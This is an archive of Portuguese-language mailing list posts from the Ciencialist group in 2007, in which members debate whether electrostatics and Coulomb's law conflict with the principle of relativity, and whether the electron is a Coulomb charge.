De: "murilo filo" <avalanchedrive@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 12 de maio de 2007 00:54
Assunto: RE: [ciencialist] Novo arquivo carregado em ciencialist


Tipo, oi.
Desconsidere minha msg anterior.
Abrí mas não existe boa definição. Não deu p/ver direito.
abr/M.





SUBJECT: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 09:56

Oh! Pena! .... chegou tarde por aqui ... a paulada já foi postada! Sorry!
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 09:51
Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida


Léo,

Relendo o texto anterior, descobrir uma informação que dei simplesmente
indevida. Desconsidere, pois o texto anterior a este.
Vale este, onde eliminei o trecho que que tem um furo, substituindo-o
adequadamente.

Se as cargas em L e Q estivessem em movimento relativo, um em relação ao
outro, as forças de somariam

como você apontou mesmo. Portanto, você e os demais listeiros podem
deletar o texto anterior, e considerar

este, para efeito das pauladas.

Os deuses erram, quanto mais os querubins!.

Sorry!

Sds,

Victor.



De: J.Victor [mailto:j.victor.neto@uol.com.br]
Enviada em: sábado, 12 de maio de 2007 17:37
Para: 'ciencialist@yahoogrupos.com.br'
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida







De: J.Victor [j.victor.neto@uol.com.br]

Enviado em: quinta-feira, 10 de maio de 2007 16:47

Para: 'ciencialist@yahoogrupos.com.br'

Assunto: RES: [ciencialist] Preciso fazer uma
pergunta, pois estou c/ uma duvida



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 10 de maio de 2007 11:15
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma
duvida



Léo,



O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
honrando nossos esforços.

Espero que não tenha ficado enfadonho demais.



........
Léo: Além disso, não concordo o o 'status' que vc dá à lei de Coulomb e seus
derivados. Aliás, estou desenvolvendo um texto justamente comentando como as
leis da eletricidade violam o princípio da relatividade. O que um observador
em 'repouso' vê de eletrostática numa questão não é o que vê um observador
em movimento.

Victor: Farei uns comentários ao seu texto, então. Pois discordo de você
neste mister. Intreiramente.


Léo: Eis a parte do texto já pronta: (onde está r leia-se 'rö', p leia-se
'pi' e m leia-se 'mü')

Victor: Ok.
+++++++++++++++++++
Léo: O Principio da Relatividade
A Velocidade é relativa
Galileu propôs, como um princípio geral de simetria, que as leis da Física
deveriam ser as mesmas para qualquer observador que se mova a uma velocidade
constante, qualquer que seja a direção, sentido e o módulo dessa velocidade.
Em outras palavras, não deve haver nenhum sistema de referência preferencial
nem nenhuma maneira de determinar uma velocidade absoluta. Esta simetria
geral é chamada de princípio da relatividade.
É claro que Galileu e Newton se certificaram de que suas leis da mecânica
clássica obedeciam ao princípio da relatividade.

Victor: Ok.


Léo: Contudo, a menos que se façam algumas mudanças na Física que
apresentamos no Ensino Médio, as leis da eletricidade violam o princípio da
relatividade. Um observador em "repouso" e um em movimento obterão duas
predições teóricas diferentes para a mesma experiência.

Victor: Não é assim. Se algo do tipo acontecer, das duas uma, e só pode
ser uma: ou a teoria está errada; ou faltou algum detalhe da tal que não foi
levado em consideração na análise.

A TR está correta, com a mera precisão de somente uma parte em 10^14.

(Você sabia que, para Newton, sua teoria estava correta em uma parte 10^3,
apenas? E hoje sabemos que Newton enganou-se. Sua teoria está correta, em
muito mais: uma parte em 10^7 ?).


Léo: Como ilustração, vamos considerar o exemplo simples de uma carga
puntual Q a uma distância R de um fio carregado com r statcoulombs por
centímetro como mostra a Fig.1.

Fig.1- Carga puntual Q a uma distância R de um fio carregado com r C/m.
Fig.2- A Fig.1 vista por um observador que se move com velocidade v para
cima.

A força sobre Q é Fe = QE onde E = 2r/R é o valor do campo elétrico da
distribuição Q no ponto do espaço que dista R (veja adendo 1 "campo
originado por cilindro uniformemente eletrizado").

Victor: 1) Eu não vi sua Fig.1, mas imagino que se trata de uma linha de
comprimento L, com uma carga de densidade linear, de valor r(C/m),
distribuída. E que você considerou
que a distância R entre a carga Q e o centro dessa linha de cargas é muito,
muito maior que o comprimento L da linha. Pois no denominador da expressão
de E, na direção escolhida, comparece a raiz quadrada da soma dos quadrados
de L e R. L, então, desaparece, em comparação com R, o que
justifica a fórmula acima.

2) As cargas no fio L são estacionárias. O fio está em repouso em relação à
carga Q, alocada a R (m) do centro de L, que, obviamente, também está em
repouso em relação a L. Ou seja, L e Q estão em repouso, um em relação ao
outro. Estou supondo que você supôs isso, pois é que se depreende de sua
linha de raciocínio. Estou certo? Se sim, vamos em frente.

Léo: Portanto, Fe = 2Qr/R ... eq.1, para um observador em repouso.

Victor: Ok.


Léo: Consideremos agora um segundo observador que se move paralelamente ao
fio à velocidade v como mostra a Fig.2. Além da força eletrostática acima Fe
(eq.1) este observador mediria também uma força magnética Fm . Ele vê uma
corrente elétrica I = rv movendo-se ao longo do fio e uma carga Q movendo-se
também paralelamente ao fio à velocidade v.

Victor: Segundo entendi(e não vi sua Fig.2), você diz que, de acordo com o
observador (S1), que se move com velocidade v em relação ao fio L, sobre
Q surge uma força magnética, Fm, devida à distribuição de carga nesse mesmo
fio de comprimento L e carga r (C/m).
Nesse caso, e para facilitar esta exposição, consideremos o observador S1 em
repouso e o fio L movendo-se em relação a ele, com velocidade (-v). Dará
no mesmo, do ponto de vista da análise. A carga teste, Q, contudo, se
mantém em repouso em relação a L, embora o observador S1 a veja em
movimento, com a MESMA velocidade (-v) de L, já que sua situação é
estacionária em relação a L, conforme premissa inicial.
O ponto, então, é este: o observador S1 vê L e Q movendo-se com a mesma
velocidade (-v) em relação a ele. Ou seja, ele próprio, S1, poderá
concluir o que um observador S fixo a L ou Q concluiria: que Q,
efetivamente, se encontra em repouso em relação a L. Vice-versa.
Como era para ser mesmo, pois esta é uma condição imposta pelo enunciado do
problema, conforme inferí de seu enunciado.


Léo: Como sabemos, a força magnética sobre uma carga Q é Fm = Qv/c X B. O
campo magnético B produzido por uma corrente circulando em linha reta é B =
2rv/(cR). Portanto, Fm = Qv/c X 2rv/(cR) = (2rQ/R)(v2/c2) é a força
magnética.

Victor: Bem, aquí, você afirma que a força magnética da distribuição de
cargas em L, agora em movimento, sobre Q, é Fm = Q(v/c) x B.

Mas não é!

Q não está em movimento em relação à carga do fio L! Q está em repouso em
relação a L.
O v da fórmula acima refere-se ao movimento relativo ENTRE as cargas! No
caso em foco, como já foi comentado, L e Q são vistos, pelo agora
observador inercial em repouso relativo, S1, movendo-se em conjunto, ambos
com a mesma velocidade (-v) pelo que S1 pode concluir, portanto, que L e Q
estão em repouso, um em relação ao outro, o que é confirmado por um
referencial S ligado à carga Q ou ao fio L.
Da mesma maneira que um observador terrestre concluí que todos os corpos
caem do mesmo jeito em queda livre, pois não vê a pedra pesada andar mais
rápido que a pedra maneira. Se no momento em que a corda do elevador é
cortada, as duas estão lado a lado, após o corte, as duas continuarão assim.
Uma verá a outra repouso. Vice-versa. Um observador na terra verá as duas
caindo, mas juntas, lado a lado. Como inteligente e genialmente concluiu
Galileo. (Claro que não estou levando em consideração os efeitos de maré,
e estou considerando o elevador como local e muito pequeno, tal qual, nele,
g aproximadamente constante. (Como deve ser, quando se pensa corretamente
no Princípio da Equivalência).
Assim não pode haver forças magnéticas entre eles, L e Q, conforme a mesma
fórmula que você expôs: pois a velocidade relativa em L e Q é zero, pelo
que Fm será igualmente zero. Seja do ponto de vista do observador em
questão, S1, seja do ponto de vista de um observador S ligado ao próprio L
ou a Q. É o que sentencia a sua expressão matemática. Contudo, S1 observa,
sim, campos magnéticos devido ao conjunto de cargas. Mas isso é outra
questão e não tem relação com a proposição inicial. Sobrevive, contudo, a
interação eletrostática entre L e Q, conforme a primeira equação que você
colocou acima, calculada por um observador em repouso em relação a L e a Q.
E o que é campo eletrostático para um observador, é campo magnético para
outro. Coisa que acontece de maneira natural. Do ponto de vista prático e
energético, o dinheiro gasto será o mesmo, tanto do ponto de vista de um,
como do ponto de vista do outro.

Adicionalmente, acrescento que, se L e Q estiverem em movimento relativo,
entre si, poderemos calcular as forças supervenientes, que existem
efetivamenente, sendo os valores dessas forças diferentes, de referencial
inercial a referencial inercial, mas absolutamente equivalentes, pois são
conversíveis umas nas outras, mediantes as TL.

Mas não é este o caso. Contudo, se todos os observadores estiverem à mesma
velocidade relativa entre as cargas, os valores que obtêm serão exatamente
iguais Como requer a natureza, muito bem expressa pelos postulados da
relatividade(PPR) e o PE.

Resumindo: A expressão para a força magnética, acima, refere-se ao caso onde
há movimento ENTRE as cargas, e não entre estas e qualquer observador. Se
elas estiverem inicialmente em repouso, assim continuarão. Não é um
observador enxerido qualquer vai mudar isso. O papel de um referencial é
meramente facilitar a observação e a medição.


Léo: [Nota: Estamos trabalhando no Sistema CGS Eletrostático (onde comparece
c). Para transferir para o Sistema Internacional de Unidades basta fazer c =
4p/m e tomar r em C/m.]

Victor: Ok.


Léo: Essa força atrativa magnética deve ser adicionada à força repulsiva
eletrostática. Portanto o observador em movimento calcula a força resultante
como sendo
F = Fe - Fm = 2Qr/R - (2rQ/R)(v2/c2) = 2Qr/R(1 - v2/c2) (Léo)
para um observador que se move à velocidade v.

Victor: (O trecho referente a este tópico foi eliminado). Ficou muito
abusado e...equivocado. Em seu lugar, comento apenas o seguinte:

Existiria uma força sobre Q, F = Fe-Fm, se a velocidade relativa entre L e
Q fosse diferente de zero.
Na fórmula Fm = Fm = Qv/c X B =(2rQ/R)(v2/c2), v é a velocidade relativa
entre as cargas, que inexiste no problema em questão. Aliás, no desenho do
link que forneceu há pouco, isto fica bem claro.


Léo: Numericamente, é um fator (1 - v2/c2) menor que o resultado (Eq.1)
obtido por um observador estacionado.
Observe que se v<<<c, o fator (1 - v2/c2) torna-se unitário e a força
resultante será F = 2Qr/R = Q.E, tipicamente eletrostática.
Assim, é claro que as leis da eletricidade dão resultados diferentes em
sistemas de referência diferentes.

Victor: Não. Não é sequer claro, isso. Sistemas de referência diferentes
devem produzir ou mesmos resultados: os valores podem não ser idênticos,
mas serão absolutamente semelhantes; pois as leis da física são as mesmas
para todos os referenciais e as equações que representam essas leis devem
ter a mesma forma, quaisquer que sejam estes referenciais. Um valor
numérico obtido em um terá o mesmo significado, a mesma validade e o mesmo
efeito que outro valor numérico obtido em outro, para o mesmo fenômeno
físico, devendo haver seguramente alguma transformação que faça a devida
conversão de um no outro. No caso, tal transformação existe e são as TEL,
ou Transformações de Einstein-Lorentz. Se você tiver de gastar dinheiro
para implementar dado projeto, você não conseguirá gastar menos simplesmente
implementado o projeto sob a consideração de referenciais diferentes.
Pois, do ponto de vista das leis de conservação do momento e da energia, que
é o que se paga, os efeitos serão sempre os mesmos.
Inexoravelmente.

No caso do eletromagnetismo, suas leis já são, naturalmente, covariantes,
segundo as TEL. Em relação às de Galileo, não.

Léo: Contudo, de acordo com o princípio da relatividade de Galileu na
mecânica clássica, a força ou aceleração sobre Q deve ser independente da
velocidade do observador. Como conciliar isso?

Victor: Correto. Qualquer fenômeno físico independe de qualquer sistema
de referência. Não é possível imaginarmos que as leis da física sejam umas
aqui em meu apartamento e outras quando estou viajando num avião. O que eu
concluir aqui será exatamente o que alguém concluí num avião em movimento,
ambos fazendo os mesmos experimentos.


Léo: É assim, fácil observar, que o princípio da relatividade de Galileu que
funciona para a mecânica clássica é inconsistente com as equações de
Maxwell. Para resolver esta contradição, o princípio da relatividade, ou as
equações de Maxwell, ou a mecânica clássica devem ser revistos.

Victor: É claro que qualquer teoria pode ser revista, desde que fatos novos
surjam, a qualquer tempo. O que agora comentamos, contudo, não são fatos
novos.

Em vista do exposto, as suas conclusões e todas as demais, em relação à
proposição inicial, perdem inteiramente o sentido.

Não há, assim, a inconsistência apontada.


Léo: Vamos considerar agora as seguintes 3 alternativas:

Victor: As 3 alternativas acima se reduzem, pois, a esta: nenhuma.
Pois está tudo ok, como manda o figurino Relativista ou mesmo Newtoniano.


Léo: Talvez hoje pela tardinha eu complete esse 'nabo' e tire a virgindade
coulombiana.

Victor: Sorry, mas a mocinha coulombiana continuará "cabaço", por outros
bons séculos. Mesmo numa época dessas, na qual, se Henrique V gritasse:
"meu reino por um cabaço", estaria roubado e mal pago. Inapelavelmente.
Devido à raridade dessas preciosidades, ao menos nas faixas permitidas.

Sds,

Victor.


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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 10 de maio de 2007 10:45
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida

Caro Léo,

Acho que, numa primeira investida, está ok. Mas eu não diria algo assim:
"...e então a 'tradicional' lei

de Coulomb deve sofrer alterações (por vezes, sérias alterações!).", pois
daria a impressão

de que deveria haver alteração na estrutura mesma da lei. E não é assim. O
que acontece é

que, numa situação dessas, aliás comum, a aplicação da Lei de Coulmb, que é
essencialmente puntual, fica difícil, trabalhosa, exigindo maiores esforços
para sua correta aplicação. Pois a carga agora apresenta-se distribuída ao
longo do corpo, pelo que não poderemois mais desprezar as diferenças entre
as distâncias de cada uma à uma carga de teste infinitesimal. Torna-se
necessário, com vistas à Lei de Coulomb, que ela seja dividida em cargas
infinitesimais, seja considerado o efeito de cada dq sobre a carga teste,
como se os outros dq's não existisssem e depois somado tudo, pois vale o
notável e simplificador, como simples é a natureza,

Princípio da Superposição. O efeito global de todos os dq é a soma, ou
integração dos efeitos de cada uma. Para tais objetivos, a natureza diz:
olha, considera que a carga A(puntal) não exista, e calcule o efeito
elétrico sobre a carga de teste devido somente à carga B(puntual). Depois,
considere que B não existe e calcule o efeito elétrico da A sobre a mesma
carga de teste. Depois some tudo, misture tudo, integrando(para dizer
melhor). Ou seja, a matemática a ser usada será mais elaborada, deverá
cansar a munheca, após a trabalheira para encontrar o efeito de cada carga,
como se as outras não existissem.

Mas, a lei, em si, continuará a mesma, não sofrerá alterações de qualquer
natureza.

Outro fato notável é que valem, também na eletrostática, os seguintes
teoremas, aplicáveis à gravitação, para corpos esféricos, o que simplifica
magistralmente os problemas, nos casos de configurações esféricas:

1 - Uma casca esférica uniformemente carregada atrai ou repele uma partícula
carregada exterior como se toda a carga da casca estivesse concentrada em
seu interior; e,

2) Para uma partícula que esteja em seu interior, a casca esférica
uniformemente carregada não exerce sobre ela qualquer força eletrostática.
(Isto é aproveitado na prática como blindagem eletrostática).

Aliás, seria interessante que a menina Claodinice fosse informada, também,
de que:

a) a lei de força gravitacional, devida a Newton, é a mesma lei de
força na eletrostática, devida a Coulomb, mudando apenas as grandezas e
constantes associadas aos fenômenos específicos; e,

b) A Lei de Coulomb nunca foi violada, sob qualquer aspecto. Ainda
está "cabaço", como se diz. Até mesmo onde as leis de Newton falham
estrondosamente, a Lei de Coulomb surge vitoriosa e risonha, brandindo sua
espada reluzente e afiada, precisa e eficientemente. Como é o caso das
cargas num átomo.

Sds,

Victor.





[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 10:22

Alberto,

Só por curiosidade: a mim pouco importa se o elétron é ou não uma
carga columbiana, mas fico curioso para saber o que estamos perdendo
com essa suposição que você julga ser errada. O que estamos perdendo?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> Aos amigos Ciencialisteiros
>
> Estou reencaminhando esta msg (com ligeiras modificações) pois
> provavelmente a original ficou perdida no contínuum espaço-tempo do
> Yahoo
>
> ----- Original Message -----
> From: "Jeff"
> Sent: Friday, May 11, 2007 3:56 PM
> Subject: Re: [ciencialist] Re: Determinismo e incerteza
>
> > Eu não conheço bem estas interpretações da mecânica
> > quântica, mas entendo que não é possível existir
> > aleatoriedade objetiva em um sistema fechado!
> > Ou estou errado? Eu acredito na falta de
> > conhecimento de variáveis que podem determinar
> > certos comportamentos quânticos e na prepotência
> > de cientistas em afirmarem que não.
>
> Olá Jeff
>
> Eu diria que a coisa é mais ou menos por aí, se bem que os
> precursores da mecânica quântica não chegaram propriamente a se
> postarem como prepotentes, como sói acontecer com os seus seguidores,
> em especial os da atualidade. Dentre os precursores, alguns aceitavam
> a idéia de "variáveis escondidas" (a começar por Einstein) enquanto
> outros adotavam o "critério de utilidade" (a começar por Bohr). Para
> esses últimos, a teoria, certa ou errada, estava completa e qualquer
> variável do tipo esperado pelos primeiros iria despersonalizar a
> teoria. A teoria funcionava, logo sob o ponto de vista utilitarista
> achavam que seria uma grande asneira procurar por essas "variáveis
> escondidas".
>
> Na realidade eu diria que o problema é um pouquinho mais complexo e
> não consiste apenas na procura pelas "variáveis escondidas", mas sim
> na redefinição de variáveis consagradas pela física clássica do final
> do século XIX. No rodapé das minhas msgs, por exemplo, eu costumo
> dizer que o elétron não é uma carga elétrica em miniatura, e essa é
> uma verdade que físico quântico nenhum da atualidade, dentre aqueles
> que por aqui apareceram, conseguiu rebater de maneira pelo menos
> aceitável e/ou criticável. Eu já perdi a conta dos especialistas
> (alguns mestres ou doutores em física) que, aqui na Ciencialist,
> tentaram e acabaram desistindo. Via de regra, foram cantar noutra
> freguesia, pois não conseguiram convencer a ninguém de nada.
>
> Existem alguns que apelam para determinados teoremas da "fismat" a
> afirmarem que matematicamente seria impossível a existência
> das "variáveis escondidas", mas esses teoremas foram formulados
> aceitando-se aquelas mesmas idéias e/ou variáveis que se mostraram
> incompatíveis com a explicação de algumas experiências efetuadas no
> final do século XIX (Michelson-Morley, espectro do corpo negro,
> etc.). Ninguém quer aceitar a idéia proposta para o elétron não-
> carga elétrica coulombiana, nem a idéia de luz corpuscular, nem
> tampouco uma explicação plausível e a justificar a segunda lei da
> termodinâmica. Consequentemente, ficamos frente a esses teoremas
> matemáticos que nada mais são senão uma maneira requintada de se
> aceitar os "critérios de utilidade" de Bohr.
>
> Ou seja, não há como assimilar variáveis escondidas num terreno em
> que a grande maioria das variáveis têm se mostrado mal definidas.
> Novamente ficamos frente a "uma escolha entre o roto e o
> esfarrapado", qual seja, entre as teorias que aceitam a idéia
> de "variáveis escondidas" e as teorias que aceitam os "critérios de
> utilidade" de Bohr (deixando-se de lado todo o potencial inerente à
> física clássica, ainda que esta necessite de algumas redifinições a
> se compatibilizarem com a experimentação da atualidade).
>
> > Eu não estudo física, mas tudo (pouco) o que eu lí
> > a respeito não dá *provas* da aleatoriedade objetiva
> > de certos comportamentos quânticos, mas apenas a
> > impossibilidade de medição... Entendo que não poder
> > medir não significa não existir.
>
> Essa impossibilidade é um dos dogmas da física "moderna". Os
> físicos "modernos" conseguem medir coisas que não existem, como por
> exemplo, a carga elétrica de um elétron e, graças a isso, acabam por
> chegar em situações em que o que de fato existe não pode ser medido.
> O número e = 1,609x10^-19 C realmente existe, mas isso é uma
> constante universal que não tem nada a ver com a carga coulombiana do
> elétron, pois isso não existe.
>
> > Se existir um raciocínio lógico que conclua que é
> > possível acontecer alguma coisa sem causa, eu
> > gostaria de entendê-lo!
>
> Talvez isso seja estudado na lógica paraconsistente, algo que tem
> muito a ver com a lógica da física quântica (se é que existe alguma
> lógica no que dizem os físicos quânticos). Por outro lado, eu diria
> que embora a causa se nos mostre sempre presente --muitas vezes
> adquirindo uma conotação importante-- a causalidade, a meu ver, não
> serve como ponto de apoio para a ciência. Quero crer que quem
> primeiro se deu conta dessa realidade foi Galileu.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 10:28

Corrijo o link enviado para esse link:

http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm

O anterior está misturado com o problema do éter scaneado de cópias de offset da época do Curso Di Tullio. Vou tentar restaurar esse texto da apostila.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 08:52
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida


Oi Victor,

coloquei esse texto e figuras na pasta "provisorio" do Imperdível; veja:

http://www.feiradeciencias.com.br/provisorio/relatividade.htm

está incompleto ...ainda!

[]'
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Luiz Ferraz Netto [Léo]
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 11 de maio de 2007 21:28
Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/ uma duvida


Caro Léo,

Já ensaiei uma resposta, mas preciso que você me informe o link onde
encontrarei as Figuras 1 e 2,

a respeito de sua proposição mais abaixo.

Só para verificar se refiz tais figuras conforme você descreveu.

Sds,

Victor.




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SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 11:02

----- Original Message -----
From: "José Carlos Antonio"
Sent: Sunday, May 13, 2007 10:22 AM
Subject: [ciencialist] Re: Determinismo e incerteza

> Só por curiosidade: a mim pouco importa se o elétron é ou não uma
> carga columbiana, mas fico curioso para saber o que estamos perdendo
> com essa suposição que você julga ser errada. O que estamos
> perdendo?

Macroscopicamente nada, pois o eletromagnetismo funciona
independentemente do conhecimento de suas unidades básicas. Quase toda
a tecnologia do século XX apóia-se no eletromagnetismo como formulado
por Maxwell (Maxwell não chegou a conhecer os elétrons, ainda que
tivesse razões para suspeitar de sua existência). Microcosmicamente
tudo pois, da maneira como a física "moderna" está estabelecida,
estamos evoluindo numa direção onde a decifração íntima da natureza
material tem se mostrado impossível. Isso graças a um "princípio"
absurdo que, decorrente de um grande número de erros que vem sendo
cometidos, acabou por se tornar fundamental. Estou falando do
princípio da incerteza que, a bem da verdade, poderia ser chamado
princípio da ignorância, pois a ignorância, no que diz respeito à
decifração da natureza íntima da matéria, é tudo o que ele nos
assegura.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 12:51





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: domingo, 13 de maio de 2007 09:45
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida



Léo: Oi Victor,

vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas
aguarde para a continuação da leitura do texto onde vou citar as três
possibilidades.

Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte texto de
sua argumentação:

>"Mas um campo magnético devido a uma corrente I numa dada direção é
concêntrico à direção da corrente, sendo, portanto, perpendicular ao
segmento R, saindo do papel ou entrando no papel onde R está desenhado, esse
mesmo R que liga o centro de L ao ponto onde está Q; mas somente se fosse o
caso de haver movimento relativo entre eles. Que, evidentemente, não há.
Assim, a força resultante sobre Q seria o resultado de uma composição
vetorial entre Fm e Fe, e não resultante de operação escalar, como foi feito
acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
depreende da proposição inicial."

Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só; a regra
da mão direita para achar a direção e sentido do campo magnético B. OK, o
campo B produzido pela corrente I em L, na posição de Q, é "saindo do
papel", perpendicular à direção R. OK.
Agora vamos usar a outra mão, a esquerda (lembra dela :-)) e colocar o
indicador no sentido de B (saindo do papel), o dedo médio no sentido de v
(para baixo) e teremos como resultado a força de Lorentz Fm para "dentro",
dirigida para L e, portanto, diretamente oposta à Fe; dai F = Fe - Fm (logo,
uma mera operação escalar; Fe e Fm são colineares).

Victor: Tem razão. E esqueci mesmo. E isto é óbvio. Apenas, no calor da
escrita, por algum desses motivos que só depois dão o estalo, fiquei só com
a direção de B. Foi precisamente isso que corrigí no anterior. Tudo bem.
Mas já disse, ninguém é perfeito...

Leó: Agora vou preparar a continuação do texto e ... pode tirar o cavalinho
da chuva, pois há movimento relativo entre Q (para baixo) e o CAMPO B
(estacionário, pois B se repete identicamente em todos os pontos). Quem age
sobre Q (móvel) é B (fixo) e não a corrente I ou o fio infinito com
distribuição uniforme de cargas em movimento.

Isso é só para amaciar! :-))

Victor: Ok.

Sds,

Victor.



Té mais, vou aumentar meu texto ..........

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sábado, 12 de maio de 2007 17:36
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida

O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
honrando nossos esforços.

Espero que não tenha ficado enfadonho demais.

[ ... ]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 17:32

Oi Victor,

vc chegou a ver as figuras em
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm ?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 12:51
Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida






De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: domingo, 13 de maio de 2007 09:45
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida



Léo: Oi Victor,

vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas
aguarde para a continuação da leitura do texto onde vou citar as três
possibilidades.

Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte texto de
sua argumentação:

>"Mas um campo magnético devido a uma corrente I numa dada direção é
concêntrico à direção da corrente, sendo, portanto, perpendicular ao
segmento R, saindo do papel ou entrando no papel onde R está desenhado, esse
mesmo R que liga o centro de L ao ponto onde está Q; mas somente se fosse o
caso de haver movimento relativo entre eles. Que, evidentemente, não há.
Assim, a força resultante sobre Q seria o resultado de uma composição
vetorial entre Fm e Fe, e não resultante de operação escalar, como foi feito
acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
depreende da proposição inicial."

Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só; a regra
da mão direita para achar a direção e sentido do campo magnético B. OK, o
campo B produzido pela corrente I em L, na posição de Q, é "saindo do
papel", perpendicular à direção R. OK.
Agora vamos usar a outra mão, a esquerda (lembra dela :-)) e colocar o
indicador no sentido de B (saindo do papel), o dedo médio no sentido de v
(para baixo) e teremos como resultado a força de Lorentz Fm para "dentro",
dirigida para L e, portanto, diretamente oposta à Fe; dai F = Fe - Fm (logo,
uma mera operação escalar; Fe e Fm são colineares).

Victor: Tem razão. E esqueci mesmo. E isto é óbvio. Apenas, no calor da
escrita, por algum desses motivos que só depois dão o estalo, fiquei só com
a direção de B. Foi precisamente isso que corrigí no anterior. Tudo bem.
Mas já disse, ninguém é perfeito...

Leó: Agora vou preparar a continuação do texto e ... pode tirar o cavalinho
da chuva, pois há movimento relativo entre Q (para baixo) e o CAMPO B
(estacionário, pois B se repete identicamente em todos os pontos). Quem age
sobre Q (móvel) é B (fixo) e não a corrente I ou o fio infinito com
distribuição uniforme de cargas em movimento.

Isso é só para amaciar! :-))

Victor: Ok.

Sds,

Victor.



Té mais, vou aumentar meu texto ..........

aquele abraço,

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
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De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
